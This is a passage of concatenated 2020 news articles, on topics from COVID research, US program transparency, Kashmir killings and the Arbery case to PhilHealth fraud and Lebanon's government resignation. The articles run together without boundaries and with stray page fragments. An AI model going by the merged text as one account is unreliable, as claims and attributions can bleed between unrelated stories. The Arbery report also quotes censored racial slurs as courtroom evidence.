immune system that differs between COVID-19 patients, and by understanding which patients' lung immune systems are helpful and which are harmful, we may be able to help physicians pro-actively manage the most at risk-patients." Researchers will correlate positive and negative COVID-19 cases with clinical outcomes, and ultimately use this data to generate predictive algorithms related to morbidity and mortality. The aim is to use this predictive information to optimize health care delivery. The research has received grants from the Ontario COVID-19 Rapid Research Fund of the Ontario government, from the COVID-19 Innovation Challenge of Roche Canada and from FastGrants.org managed by the Thistledown Foundation in Canada. "We're looking for additional partners to collaborate with us in moving this research forward, as we believe there is an opportunity to develop diagnostic devices with this information," said Hirota. ### For more information: Veronica McGuire Media Relations McMaster University vmcguir@mcmaster.ca 289-776-6952 Rebecca Elming Media Relations University of Waterloo relming@uwaterloo.ca 226-338-6564 Senate Dems Opposition Blocks Taxpayers From Seeing Inventory of All Federal Programs News Analysis Among the biggest unanswered questions in the nations capital is how many federal government programs taxpayers fund these days. This mystery has evaded Washingtons best minds for decades. The sole obstacle to getting that answer is a handful of Senate Democrats, who, for reasons known only to them, block the needed legislationthe Taxpayers Right to Know Actevery time it comes up for a vote in the upper chamber, according to one of their immensely frustrated Republican colleagues. There are some folks on the other side of the aisle that are concerned that if the American people and the Office of Management and Budget (OMB) see every dollar that is spent, they have literally said to me Its too much transparency, Sen. James Lankford (R-Okla.) told The Epoch Times on Aug. 10. My response is always Its not too much transparency, its actual transparency, because right now if I want to know all of the federal programs related to any item, I have to go to the Government Accountability Office (GAO) and make a request, Lankford said. Lankford also said opponents of his proposal claim it gives OMB too much power to root out waste and duplication. Congress cannot see where there is duplication and overlap and neither can the American people, and thats absurd. A spokesman for Senate Minority Leader Chuck Schumer (D-N.Y.) didnt immediately respond to an emailed request from The Epoch Times for comment. The GAO is the investigative arm of Congress, but the agency must respond to thousands of requests from senators and representatives, so getting a current list of federal programs can take months. Even then, the list is a static one, showing programs at a point in time. Lankfords proposal requires OMB to extend the inventory process it began in 2013 by creating a publicly accessible online database with continually updated data on spending and performance for all federal programs. Besides enabling taxpayers to better see where their tax dollars are going, such a website would make it much easier for Congress to identify duplication and waste. Hundreds of billions of dollars could be saved and programs made more efficient, Lankford contends. Lankford is doubly frustrated because, in an era of intense partisanship, his proposal has been passed by the House of Representatives twice, once under Republican control in 2014 and again in February with Democrats in charge. The House version of the bill was introduced in 2019 by Rep. Tim Walberg (R-Mich.). Lankford entered the Senate in 2015 after winning a special election to complete retiring Republican Sen. Tom Coburns term. Lankford served in the House from 2011 to 2015 and was elected with 68 percent of the vote in 2016 to a full Senate term. The way was cleared for Lankfords proposal in 2006 with creation of USASpending.gov, the website that gives taxpayers instant access to most federal spending. Coburn and then-Sen. Barack Obama (D-Ill.) co-sponsored the bill establishing the spending site. The 1993 Government Performance and Results Act was upgraded in 2010 to require OMB to begin the needed program inventory, but progress has been slow, in part due to bureaucratic claims about the difficulties of defining what constitutes a program. Even so, the first tentative inventory was released by OMB in 2013, but there were multiple problems. The 2013 inventory publication was based on agency-by-agency compilations, not a comprehensive overview on a consistent basis across different agencies. As a result, it did not effectively allow identification of duplication and inefficiency, Truth in Accounting Research Director Bill Bergman wrote in an Aug. 5 report by the Chicago-based nonprofit. But, Bergman noted, progress was made on a problem that had bedeviled officials for decades. He pointed to 1982 congressional testimony by a senior GAO official telling Congress that the agency had compiled a static inventory of more than 6,000 federal programs. Since then, the inventory has become more ambitious. To fix the 2013 problems, GAO made multiple recommendations in subsequent years, including that OMB revise its guidance to agencies to ensure they collaborate in identifying programs with common goals and outcomes, consult with congressional committees about their definitions of programs, and more precisely describe performance goals for their programs. But implementation has hit a pause. In May 2019, Comptroller General Gene Dodaro formally told Congress what he had previously made clear in other forums that as of March 2019, the executive branch had not resumed implementation of the inventory requirements. (pdf) Michelle Sager, director of GAOs Strategic Issues Team, told The Epoch Times that Dodaro strongly favors OMB completing the implementation to enable a site that includes a cohesive program inventory that would allow you to see the spending, as well as the performance, by programs beyond just the individual program activities. Partly in response to Dodaros concerns, Lankford, Senate Budget Committee Chairman Mike Enzi (R-Wyo.), and 15 other senators wrote to OMB seeking an explanation for the lack of progress. Lankford said OMB responded, saying they are working through trying to figure out what they can do with a requirement from Congress to do it [the dynamic website]. Honestly, most of these items they can do on their own. They want funding obviously to take it farther, to get it set up. Once its up, Lankford said, then the systems are in place and its just a matter of dropping in the numbers. None of these are numbers that should be hard this is combining what they already have into one place that is searchable. Contact Mark Tapscott at Mark.Tapscott@epochtimes.nyc. SEARCH A minimum of 3 characters are required to be typed in the search bar in order to perform a search. Chandigarh, Aug 11 : Amid surge in Covid-19 cases and 50 per cent revenue decline for the first quarter of this fiscal in Punjab, Chief Minister Amarinder Singh on Tuesday sought from Prime Minister Narendra Modi a liberal financial package for states to fill the collection gap caused by the pandemic, and also flexibility on Covid-related terms of expenditure in the SDRF. During a video conference meet of the Prime Minister with Chief Ministers of some states to review the situation, Amarinder Singh said the current cap of 35 per cent in State Disaster Relief Fund (SDRF) for Covid-19 related expenditure, as per MHA guidelines, is not sufficient to meet the current requirements. Defence Minister Rajnath Singh and Health Minister Harsh Vardhan also participated in the meeting. The Chief Minister thanked the Government for India for accepting Punjab's proposal to set up a National Institute of Virology for the north zone and said the state will soon give 25 acres of land in this regard. Citing the state's rising cases of Covid-19, which have gone up to 24,891 with 604 deaths, the Chief Minister urged the Prime Minister to review the UGC decision on mandatory exams for exit classes to be held by September 30. Punjab may not be in a position to conduct exams in September as it may be facing its peak at that time, he said, suggesting promoting these students promoted on past performance and internal assessment, with option to take exams later for those wanting to improve their performance. He also sought the Central government assistance for online school education, especially for poor children of Class X and XII. More money was needed for creating the infrastructure needed to support online education, he added. Though Punjab was conducting 23,000 tests per million for coronavirus (higher than the national average), and planned to increase RT-PCR tests from 12,000 to 20,000 in the next 15 days, it needed to scale up the testing capacity further, the Chief Minister stressed. He requested the Prime Minister to direct government of India institutions in Chandigarh and Punjab to increase testing capacity, as already written to him earlier. Expressing concern over the state's mortality rate of 2.4 per cent, Amarinder Singh said though it was lower than the all-India deaths per million and 91 per cent of the fatality cases were with co-morbidity, it was still higher than neighbouring Haryana. Patients were coming to hospitals late and 86 per cent deaths were occurring in tertiary hospitals, he added. Amarinder Singh also requested immediate operationalisation of Covid-19 testing and treatment at AIIMS in Bathinda, where OPDs are already functional, and said this will be useful for the people of southern Punjab. Noting that the PGI Hospital in Chandigarh is a premier tertiary care facility for Punjab, he also sought increase in the bed capacity at the hospital and strengthening of the existing PGI Satellite Centre at Sangrur, especially for coronavirus treatment. The Chief Minister further urged the Centre for immediate commencement of work on the newly sanctioned PGI Satellite Centre at Ferozepur. Rema Rajeshwari, Telangana's Mahbubnagar district's Superintendent of Police, recently set up a "Mobile Safety" vehicle to help domestic abuse victims during the coronavirus pandemic lockdown. While speaking to Humans of Bombay, Rajeshwari said, "A month into the lockdown, a lady called me from Kanpur. She was extremely distressed as her sister hadn't called in 3 days. Her husband would hit her and she worried it had happened again. So we sent a dispatch team and found her in such a terrible condition, it shook me. She was badly bruised, hadn't had a single drop of water in 3 days and was writhing in pain. We rushed her to the hospital and filed a case against the husband." Three days later, her sister called again and asked if I could send her home. Rajeshwari then got all the passes for inter-state travel and made sure she was home safely. The IPS officer said that the incident was a big eye-opener and there were numerous victims of domestic violence forced to live with their abusers and they could not even file a complaint. "To help them, I set up 'Mobile Safety' a vehicle with my team members doing rounds across the district and in 2 weeks, we had 40 cases!," she added. She also set up food banks along the highways to help migrants walking back home. "Once the railways finally opened, we helped 11,000 workers reach home in under 15 days," she added. Over the past three months, she and her team have put their lives at stake and risked their families to help people. Last week, a team member tested positive for COVID and has been quarantined. "Still, the only question they ask me is, 'Madam! When can we get back in action?' Such is the love for our duty!" she concludes. The common service centres facilitating the Delhi University's online open-book exams here said only a handful of students are availing the service and most of them faced issues while uploading their answer sheets. The common service centres (CSCs) have been set up to help students who do not have the proper infrastructure to give online exams. The CSE Academy, engaged by the Ministry of Electronics and Technology, has an agreement with the for conducting the open book exams, being held for the first time in view of the coronavirus pandemic. An official from the southwest district said most of the students have smartphones and they are filing it from their respective homes. "Around seven to eight students have come. If they face difficulty in uploading the answer sheet, the option of mail is there, he added. In Shahdara, only 10 students visited three-four CSCs on Monday, the first day of the exams, an official said. He said they have learnt that students faced issues in uploading their answer sheets on the portal. The CSC official said that the centres are opened before 7.30 am when the first exam shift starts. "We are getting the exams conducted and even getting queries from students who want to visit the CSC for taking their exams. The students faced issues while uploading answer sheets and we helped them in emailing them," he added. Amid opposition from students and teachers who have been demanding that exams are scrapped and students are evaluated on the basis of their performance in previous semesters and internal assessments, the varsity began the online exams on August 10. The first day of the exams was marred with complaints of technical glitches and problems faced by students in uploading their answer sheets. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The Indian army, which initially said the dead were Pakistani terrorists, said it is investigating the incident. The family of three missing Kashmiris have alleged the trio was killed in a staged operation by the Indian army, bringing back memories of past cases of extrajudicial killings in the Muslim-majority region. The Kashmiri family said they had identified the three from photos posted on social media after the July 18 operation in southern Shopian district. They had not even a remote connection with militancy, Mohammed Yousuf, the father of one the men, told Associated Press on Tuesday. He said his son last spoke to his wife on July 17 and from the next day the mobile phones of all three cousins were switched off. Yousuf called for a probe, verification of their call records and background checks to prove their innocence. The Indian army initially said the victims were Pakistani terrorists. More than 100 Kashmiri rebels have been killed in a military offensive launched in January. Naseeb Khatana said his three cousins Abrar Khatana, 18, Imtiyaz Ahmed, 21 and Abrar Ahmad, 25 left their home in the southern district of Rajouri on July 16 to look for work in the Kashmir Valley, but the family lost contact with them a day later. Today we identified their bodies from photographs that appeared in social media, Naseeb Khatana told AFP from his home. We want justice and their bodies returned to us, Khatana said. The family also demanded DNA testing. Indian-administered Kashmir has largely been under a security lockdown since Indias Hindu nationalist government revoked the regions limited autonomy in August 2019. Thousands of the regions politicians, lawyers and activists were thrown into jail some of whom have since been released and communication, including internet access, was cut in order to prevent protests against the move that has caused anger in the region. Army investigating the deaths The Indian army said on Monday it is investigating the deaths of the suspected rebels, after the family filed a missing persons report on Sunday, saying the victims were migrant workers and not rebels. Indian-administered Kashmir has largely been under a security lockdown since Indias Hindu nationalist government revoked the regions limited autonomy in August 2019 [File: Tauseef Mustafa/AFP] Army spokesman Colonel Rajesh Kalia said in a brief statement the army is investigating the matter. The three terrorists killed during the encounter have not been identified and were buried based on established protocols, the statement added. The Indian army said on July 18 soldiers killed three suspected Pakistani terrorists during a counterinsurgency operation in the south Kashmir village of Amshipora. The bodies, it said, had been buried in a remote border area. Following the killings in July, Brigadier Ajay Kotach said the military operation was launched after receiving information about the presence of rebels. We were also getting inputs of presence of certain identified Pakistani terrorists in that area, Kotach told a news conference. Police, who would normally have a presence at such operations, said they did not take part in this one and had launched their own inquiry, a senior police official told AFP, speaking on condition of anonymity. Calls for an independent probe The incident has generated social media outrage with calls for an independent investigation into the deaths that have brought the memories of extrajudicial killings locally known as fake encounters back in Kashmir. In 2010, three army officers were found guilty of killing three labourers who had been branded as Pakistani infiltrators. The killings sparked months of protests that left more than 100 civilians dead. In 2000, the army claimed to have killed five terrorists responsible for the killing of 35 Sikhs. An investigation found the five were locals killed by soldiers in a staged gun battle. India has stationed more than half a million soldiers in Indian-administered Kashmir to quell an armed rebellion that erupted in 1989. Most Kashmiris want independence from India or a merger with neighbouring Pakistan, whose claims to the picturesque Himalayan region dates back to 1947. Tens of thousands of people have been killed, mainly civilians, in the military operation. In 2019, the United Nations accused India of human rights violations in Kashmir and called for the formation of a commission of inquiry into the allegations. G oogle's inventors are developing a home radar system that could scan the vital signs of people at home and raise the alarm if they need help. The tech giants devices would not only be able to locate where children and adults were in a property but would apparently be so sensitive it could pick up on their heart rhythms or breathing rate. Google foresees antennae would be dotted around the home to constantly check on people inside, including monitoring any abnormality or change in a babys vital signs while in their cot. According to papers published by the European Patent Office, if a change in vital signs caused alarm, the system could send out an alert via text message to parents. Antennae could we stuck above a cot to check breathing and heart rate / Google / European Patent Office The patent states: The radar system determines the babys heart rate and respiration rate. The smart device alerts the parent if the baby is having difficulty breathing, if the baby wakes up from a nap, or if the baby escaped from the crib. Googles home radar design follows its patenting of child-focussed technology including a virtual babysitter equipped with artificial intelligence capable of locking down a youngster in a room and a digital nanny programmed to detect child mischief and reprimand them with a virtual warning, which charity Kidscape criticised for promoting surveillance over the "human connection". The companys latest invention appears to be a miniaturised variant of Doppler radar, which is already used in hospitals as a non-invasive way to check breathing and heart rate by using antennae to find changes in microwave frequencies essentially translating human noise into a signal for analysis. Googles designers claim they could capture heart rhythms or breathing rate from up to 60cm away using antennae transmitting at a constant frequency. Google says the radar sensors could also be used to track sleep cycles / Google / European Patent Office The invention is part of Googles vision for the smart home of the future that goes much further than its Home virtual assistant or Nest security cameras, with plans even for a wifi-connected microwave oven to be used in a surveillance network keeping an eye on peoples health. The same baby radar patent also reveals the development of a sensor-packed smart bedside lamp meant to monitor the owners sleep cycle, which calculates the best time to wake them. Another use of the radar, according to the patent, is scanning a driver so a car could automatically dial 999 if the owners falls ill or crashes the vehicle. The blueprints description says: If the radar system determines that the drivers heartbeat or respiration rate is indicative of the driver falling asleep, the smart device produces an audible tone to wake up the driver. If the driver has a heart attack while driving or becomes unconscious due to a vehicle accident, the radar system detects the drivers condition and the smart device proactively notifies emergency services. Google declined to comment on the patent. FALLS CHURCH, Va. - An appeals court has ordered a new sentencing hearing for an American who joined the Islamic State and was given 20 years in prison after his capture. When he was sentenced in 2017, Mohamad Khweis was the only American citizen to be convicted in a U.S. jury trial of successfully joining the Islamic State overseas. Khweis travelled to Islamic State-controlled territory in Iraq and Syria in December 2015, even obtaining an official IS membership card. But he said he found life there distasteful and escaped after a few months. He surrendered in northern Iraq to Kurdish forces. On Tuesday, the 4th U.S. Circuit Court of Appeals in Richmond, Virginia, issued a split ruling on his appeal of the case. The court ruled 2-1 in favour of upholding the core convictions in his case, which Khweis attorneys challenged as they questioned whether he received proper notice of his right to remain silent. The appeals court ruled that the method used by interrogators, in which one team questioned him without reading his rights to gain information for intelligence purposes, followed by a second team that read him his rights and used the information he provided in response to those questions at trial, was acceptable. But the three judges ruled unanimously that one of the three counts should be overturned, and that he should receive a new sentencing hearing. That count, for using a firearm in a crime of violence, has been the subject of a recent Supreme Court ruling and has resulted in numerous successful appeals across the country. It is not entirely clear whether the new sentencing will result in any significant changes to the 20 years Khweis is now serving. John Zwerling, who represented Khweis at trial, said he thought the ruling might knock five years off his sentence. But he said he hopes the court-appointed attorney who now represents Khweis will seek a review of the conviction before a full panel of the 4th Circuit. He said the dissent in the case accurately spells out how Khweis, after providing numerous details to the first group of interrogators, mistakenly assumed that the information he provided could be used against him. So when he actually received his Miranda rights from the second team of interrogators, he saw no practical reason to assert them. The father and son jailed on murder charges in the killing of Ahmaud Arbery are asking a Georgia judge to grant them bond and throw out two charges in their indictment. Gregory McMichael, 64, and his son, Travis McMichael, 34, have been jailed since their arrests in May, more than two months after they chased and shot Arbery, a 25-year-old black man who was jogging through their Brunswick neighborhood. Attorneys for the McMichaels filed legal motions Thursday asking Superior Court Judge Timothy Walmsley to set a bond that would both the men to be freed pending trial. Travis Michael was billed by his legal counsel as an excellent candidate for low bond, arguing he has no previous criminal history and poses no threat of fleeing. 'He does not have passport, and most importantly, his family, including his parents and three-year-old son, are here in Georgia, attorneys Robert Rubin and Jason Sheffield wrote. Gregory McMichael, 64, and his son, Travis McMichael, 34, have been jailed since their arrests in May, more than two months after they chased and shot Arbery, a 25-year-old black man who was jogging through their Brunswick neighborhood Arbery was out jogging in Brunswick on February 23 when he was spotted by Gregory McMichael, who claims he believed the 25-year-old looked like a burglary suspect Travis son lived with him every other week until his arrest, court documents show. The defense attorneys called Travis an extremely devoted father who dotes on his son. Travis McMichael has lived all of his life in the Brunswick, Georgia, area and was living with his parents at the time of his arrest, the documents also said. His former police officer father Gregory, meanwhile, also meets the conditions for pretrial release on reasonable bond, his attorneys argued last week. They requested the court to set a hearing on the matter within the next 20 days. Gregory and Travis McMichael were arrested on May 7 and face charges of malice murder, felony murder, aggravated assault, false imprisonment and criminal attempt to commit false imprisonment. Bryan, a neighbor of the McMichaels who captured the fatal shooting on video, was arrested days later and faces the same charges. The judge denied bond his bond appeal last month. The McMichaels and Bryan requested in a court motion Thursday that their charges of malice murder and criminal attempt to commit a felony be dropped. The malice murder count charges two crimes in one count, making it duplicitous, the McMichaels' attorneys claimed. It does so by trading on vague and uncertain allegation regarding unlawfully chasing" in pickup trucks, which inserts an unspecified separate crime from malice murder, namely, "unlawfully chasing [Ahmaud Arbery] through the public roadways. The McMichael's attorneys claimed that the criminal attempt to commit a felony count is also duplicitous because the count alleges both a completed crimeunlawfully chase Ahmaud Arbery in pickup trucks" and an attempted crime "attempt to confine and detain Ahmaud Arbery without legal authority on Burford Road using Ford F150 pickup truck and Chevy Silverado pickup truck. A separate legal motion by Bryan's attorney, Kevin Gough, argues that all three defendants should be immune from prosecution, saying Travis McMichael legally fired his shotgun in self-defense when Arbery attacked him with his fists. GBI agent Richard Dial rejected that argument during a June court hearing, saying it was Arbery who was trying to defend himself when Travis McMichael confronted him with a shotgun. All three of the men have pleaded not guilty. Gregory McMichael, 64, and his son Travis, 34, seen in their last public court appearance on July 17 pleaded not guilty to murder and aggravated assault charges in the killing of Ahmaud Arbery Neighbor William 'Roddie' Bryan Jr., 50, who took video of the killing, pleaded not guilty to murder and attempt to illegally detain and confine In the sickening footage of Arbery's death, a shot can be heard and Arbery is seen scuffling with Travis as Arbery appears to try to get the gun away from Travis. Two more shots can be heard and are fired at point-blank range before Arbery is seen in a video stumbling and falling to the ground after being shot as Travis McMichael stands by holding a shotgun Arbery was out jogging in Brunswick on February 23 when he was spotted by Gregory McMichael, who claims he believed the 25-year-old looked like a burglary suspect. Bryan joined the chase in his own vehicle, prosecutors say, claiming he used his vehicle to try to confine and detain Arbery striking him with his car or at least one occasion. Investigators found a swipe from a palm print on the rear door of Bryan's truck, cotton fibers near the truck bed and a dent below the fibers that were attributed 'to contact with Mr. Arbery prosecutors said. During dramatic testimony in June, Special Agent Richard Dial of the Georgia Bureau of Investigation revealed that Travis McMichael allegedly said 'f****** n*****' at Arbery after fatally shooting him with a shotgun. The investigator also revealed that Travis McMichael, a former US Coast Guard trainee, had reportedly used the N-word numerous times in social media posts and in messages on his cell phone in the months leading up to Arbery's death. In one such message, investigators say Travis once exclaimed he loved his job because he was 'on a boat and there were not any n****** anywhere.' Travis McMichael is pictured being taken into custody on May 7 - more than two month after the shooting of Ahmaud Arbery Gregory and Travis McMichael face charges of malice murder, felony murder, aggravated assault, false imprisonment and criminal attempt to commit false imprisonment In a response to an Instagram post about using violence against black people, Travis McMichael is said to have typed 'Blow that n*****'s head off'. Dial said after a separate search of Bryan's phone, he was also found to have made various racist comments in messages and in posts on social media. Dial called some of the racist statements 'disturbing', and said he has 'never before come across' some of the terms used by Bryan. 'There's evidence of Mr. Bryan's racist attitude in his communications, and from that I extrapolate the reason why he made assumptions he did that day,' Dial said. 'He saw a man running down the road with a truck following him, and I believe he made certain assumptions that were, at least in part, based upon his racial bias.' During another hearing last month, Cobb County prosecutor Jesse Evans said in court Bryan was facing a separate state criminal investigation into possible sex crimes. The Georgia Bureau of Investigation then tweeted: 'On Wednesday, July 15, 2020, the Glynn County Police Department requested that the GBI initiate a sex crimes investigation based on allegations made against William Roddie Bryan, Jr. The investigation is active and ongoing.' The GBI said the alleged crimes occurred in Camden County, Georgia. Metro Manila (CNN Philippines, August 11) Two officers from the Philippine Health Insurance Corporation in Cagayan Valley transferred over P9 million in PhilHealth benefit claims to a bank in another region in May 2019 without any valid reason, the agencys resigned anti-fraud legal officer said Tuesday. Editha Conel, head of Accreditation and Quality Assurance Section in PhilHealth-Cagayan Valley, and his subordinate, Jerome Follante, credited 9,705,332 to a bank account in Balanga Rural Bank in Bataan, Thorrsson Montes Keith told senators during the second hearing on the corruption and inefficiency allegations in PhilHealth. Keith noted that shortly after the cash deposits, a bank in Cagayan Valley complained it had not received payment for claims from PhilHealth. The amount was similar to what was transferred to the Balanga bank, he said. According to Keith, Conel and Follante claimed the money was inadvertently credited to a bank in Bataan, but the whistleblower did not buy their explanation. There is no way PhilHealth Regional Office-2 can pay banks situated in Region 3, Keith said. Keith added that he discovered that the two officers made 12 cash deposits between May 2 and 22. This is not merely inadvertent, as the multiple transactions connote deliberate intent to defraud the government by embezzling P9,705,332, Keith said. The former PhilHealth official also said the Balanga bank initially refused to return the amount, but it later did due to a demand letter from PhilHealth. However, the financial institution has asked to be compensated for the perceived trouble it has gone through due to an error. Conel and Follante agreed to the banks request. Keith also said he also learned that it was Jojo del Rosario Jr., PhilHealth senior vice president for the legal sector, who was supposed to conduct investigations on alleged fraud such as the Balanga bank case. However, Keith said del Rosario did nothing for more than a year. He also said some of his sources in PhilHealth from whom he asked information to aid his probe believed that the Balanga case was just a decoy to cover up a bigger-scale corruption in the agency. He then stressed the importance of determining the real owner of the bank account in Balanga bank as it would "open a pandoras box." During the hearing, Del Rosario denied he owns the bank account, and added that an investigation report will be submitted. Senator Panfilo Ping Lacson also instructed the Presidential Anti-Corruption Commission to look into the anomaly. "Probably you can make a representation with the Ombudsman to dig deeper into the details of the account," he said. Keith resigned from PhilHealth last month, citing widespread corruption in the government-owned corporation as his main reason of quitting. The Senate Committee of the Whole also granted legislative immunity to witnesses Keith, PhilHealth board member Alejandro Cabading, and former Executive Assistant Etrobal Laborte, and their admission to the witness protection program, which will be forwarded to the Justice department. Pubs and restaurants reopened in July after coronavirus closures, but overall spending remains below 2019 levels. British consumers spent the most last month since the country went into a coronavirus lockdown in March, as pubs, restaurants, barbers and beauty salons reopened, according to industry figures published on Tuesday. Data from Barclaycard and the British Retail Consortium showed spending was close to getting back to normal levels though not all sectors were benefitting. Barclaycard said consumer spending was 2.6 percent lower than in July 2019, the smallest shortfall since the lockdown began. However, a sense of cautiousness still prevails, Barclaycard director Esme Harwood said. Official figures due on Wednesday are expected to show the United Kingdom suffered the biggest economic hit from the coronavirus of any major economy between April and June with output expected to be down by about 20 percent. While unemployment has barely risen so far, due largely to a government job protection scheme, the Bank of England expects the jobless rate to almost double to 7.5 percent by the end of 2020. [Bloomberg] With the furlough scheme unwinding and wider economic uncertainty set for the autumn, consumer anxiety will likely rise along with it, wrote Paul Martin, the UK head of retail for consultancy firm KPMG. This will place more scrutiny on disposable income and make life even tougher for retailers. Eat Out to Help Out Reopening businesses, as well as warm weather, boosted consumer spending in July. But sales at pubs and restaurants, which reopened for on-premises consumption on July 4, remained well below year-ago levels. By contrast, sales of takeaways and fast food were 20 percent higher than last year as people preferred to eat at home something finance minister Rishi Sunak is trying to change with government subsidies for dining in restaurants in August under the so-called Eat Out to Help Out scheme, Spending on groceries, furniture and electronics was also up strongly, while travel spending remained weak. Figures from the British Retail Consortium, which only cover shopping, painted a similar picture for July. Total retail spending across the BRCs members, mostly large chains, was 3.2 percent higher than a year earlier, close to Junes 3.4 percent rise, the biggest increase since May 2018. The strongest performance came from food, furniture and homeware, as consumers increasingly invest in their time at home. However many shops, particularly in fashion, jewellery and beauty, are still struggling to survive, BRC chief executive Helen Dickinson said. Zarif: Iran may take legal action to get blocked money back Iran Press TV Monday, 10 August 2020 3:47 PM Iran's Foreign Minister Mohammad Javad Zarif says the Islamic Republic will use every possible method, including taking legal action if needed, to get back its money, which has been unlawfully blocked by certain countries under direct pressure from Washington. Zarif made the remarks on Monday in an interview with the Iranian Parliament's official ICANA news agency while explaining measures taken by the Foreign Ministry so far to reclaim the blocked money in foreign banks. Stressing that there are different ways to return money through barter or purchase of goods from abroad, Zarif said, "Various methods have been determined over the past few years to get back our money from other countries and we will use them." The top Iranian diplomat went on to say that, "We are negotiating the return of our country's blocked money, and if necessary, we will pursue this issue through legal action in the courts." In response to a question about whether Tehran has been successful in fulfilling some of its financial claims from other countries, Zarif said, "In some cases, yes, some countries have returned some of our money." During the past months, Iranian authorities have been pressing South Korea to release between $6.5 billion and $9 billion in frozen funds so that Tehran could use them for the purchase of basic goods. Vice-Speaker of the Iranian Parliament Amir-Hossein Qazizadeh Hashemi said in July that it was a source of regret and surprise that the South Korean government was blocking the Iranian nation's money under the US pressure. Qazizadeh Hashemi slammed Seoul's "rude" behavior that shows South Korea is not committed to any ethical or legal principle, adding that Iran has issued an official warning to the government of South Korea over its "unacceptable" and "unjustifiable" move to block the Islamic Republic's oil money. South Korea is violating another nation's rights under pressure by the bullies at the White House, he said, urging the Iranian Foreign Ministry to actively pursue the return of the money. Moreover, Iran's government spokesman Ali Rabiei called on South Korea late last month to abandon its "illegal" policies and release the Iranian assets that it has frozen due to the US sanctions so that Tehran can step up its fight against a deadly coronavirus outbreak. "We expect South Korea to review its illegal approaches and also speed up the implementation of other negotiated solutions in addition to facilitating the trade in humanitarian items," Rabiei said, adding that the move would enable the Iranian nation "to gain access to its financial resources as soon as possible and overcome its economic and health problems emanating from the coronavirus spread." The Iranian official also expressed regret that South Korea has so far failed to fulfill its promises and implement a mechanism that would make it possible for Iran to use its financial resources. The release of the funds would enable Tehran to purchase medicine and medical equipment needed to fight the pandemic. A total of 328,844 people have so far contracted the new coronavirus disease (COVID-19) across the country. Over 18,616 have also lost their lives to the virus, according to official figures. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Lebanons prime minister stepped down from his job on Monday in the wake of the disastrous Beirut port explosion that triggered public fury, saying he has come to the conclusion that corruption in Lebanon is bigger than the state. In a brief televised speech after three of his ministers resigned, Prime Minister Hassan Diab said that he is taking a step back so he can stand with the people and fight the battle for change alongside them. I declare today the resignation of this government. May God protect Lebanon, he said, repeating the last phrase three times. Diabs resignation seems unlikely to appease protesters who have been calling for a complete overhaul of the countrys confessional political system, said FRANCE 24s Leila Molana-Allen reporting from Beirut shortly after the prime ministers televised address. "Protests erupted since just before Hassan Diabs speech. There had been protests even before that, but it started to get quite violent over the past half-hour, said Molana-Allen. Protesters seem to have lost their sense of fear, theres a fearlessness in the air now. Its clear from the reaction to Hassan Diabs resignation that they dont just want a change in government, they mean this system, under which they believe its completely impossible to achieve a government that will actually look after the needs of the Lebanese people. The prime ministers resignation was accepted by Lebanese President Michel Aoun, who asked the current government to stay on in a caretaker capacity until a new cabinet is formed, a televised announcement said. Based on past experience, such as the October 2019 resignation of Saad Hariri as prime minister, Molana-Allen explained that Diabs cabinet could remain in place as a caretaker government and then the current parliament, which was elected in 2018, looks and tries to elect another prime minister who then puts a new cabinet together. Responding to the Lebanese cabinet resignation, France on Monday called for the "rapid formation" of a new government. "The aspirations expressed by the Lebanese in terms of reforms and governance must be heard," French Foreign Minister Jean-Yves Le Drian said in a statement, adding that a new government would have to "prove itself" to the people. Story continues Anti-government protests Diabs resignation throws Lebanon into another period of uncertainty amid urgent calls for reform. It follows a weekend of anti-government protests in the wake of the Aug. 4 explosion in Beiruts port that decimated the facility and caused widespread destruction, killing at least 160 people and injured about 6,000 others. The moment typified Lebanons political dilemma. Since October, there have been mass demonstrations demanding the departure of the entire sectarian-based leadership over entrenched corruption, incompetence and mismanagement. But the ruling oligarchy has held onto power for so long - since the end of the civil war in 1990 - that it is difficult to find a credible political figure not tainted by connections to them. Blame pinned on predecessors Diab blamed corrupt politicians who preceded him for the earthquake that has hit Lebanon. They (political class) should have been ashamed of themselves because their corruption is what has led to this disaster that had been hidden for seven years, he added. I have discovered that corruption is bigger than the state and that the state is paralysed by this (ruling) clique and cannot confront if or get rid of it, Diab, who was a university professor at the American University of Beirut before he took the job. Although Diabs resignation had appeared inevitable after the catastrophe, he seemed unwilling to leave and only two days ago made a televised speech in which he offered to stay on for two months to allow for various factions to agree on a roadmap for reforms. But the pressure from within his own Cabinet proved to be too much. Bickering leadership Diabs government was formed after his predecessor, Saad Hariri, stepped down in response to the demonstrations. It took months of bickering among the leadership factions before they settled on Diab. His government, which was supported by Hezbollah and its allies and seen as one-sided, was basically doomed from the start, tasked with meeting demands for reform but made up of all the factions that reformers want out. Now the process must start again, with Diabs government in a caretaker role as the same factions debate a new one. I hope that the caretaking period will not be long because the country cannot take that. Lets hope a new government will be formed quickly, Public Works Minister Michel Najjar told reporters. An effective government is the least we need to get out of this crisis. The weekend protests saw clashes with security forces firing tear gas at protesters. The explosion is believed to have been caused by a fire that ignited a 2,750-ton stockpile of highly volatile ammonium nitrate. The material had been stored at the port since 2013 with few safeguards despite numerous warnings of the danger. The result was a disaster Lebanese blame squarely on their leaderships corruption and neglect. Losses from the catastrophic blast are estimated to be between $10 billion to $15 billion, with nearly 300,000 people left homeless. Blast case referred to top judicial body The last decision taken by Diabs government before its resignation was to refer the case of the explosion to the Supreme Judicial Council, which handles crimes infringing on Lebanons national security as well as political and state security crimes. The Supreme Judicial Council is Lebanons top judicial body. A judge on Monday questioned the heads of the countrys security agencies. Public Prosecutor Ghassan El Khoury questioned Maj. Gen. Tony Saliba, the head of State Security, according to state-run National News Agency. It gave no further details, but other generals are scheduled to be questioned. State Security had compiled a report about the dangers of storing the material at the port and sent a copy to the offices of the president and prime minister on July 20. The investigation is focused on how the ammonium nitrate came to be stored at the port and why nothing was done about it. Najjar, the public works minister, said he learned about the materials presence 24 hours before the blast, receiving a report about the material and holding a meeting with port officials before calling its chief, Hassan Korayetem. I wrote a report in the morning the explosion happened in the evening, Najjar said. Asked why he only learned of it the day before, Najjar said, I dont know. Truly I dont know. About 20 people have been detained after the blast, including the head of Lebanons customs department and his predecessor, as well as the head of the port. Dozens of people have been questioned, including two former Cabinet ministers, according to government officials. International aid On Sunday, world leaders and international organizations pledged nearly $300 million in emergency humanitarian aid to Beirut, but warned that no money for rebuilding the capital would be made available until Lebanese authorities commit themselves to the political and economic reforms demanded by the people. Iran, meanwhile, expressed concern that Western countries and their allies might exploit anger over the explosion to pursue their political interests. Iran supports the Hezbollah militant 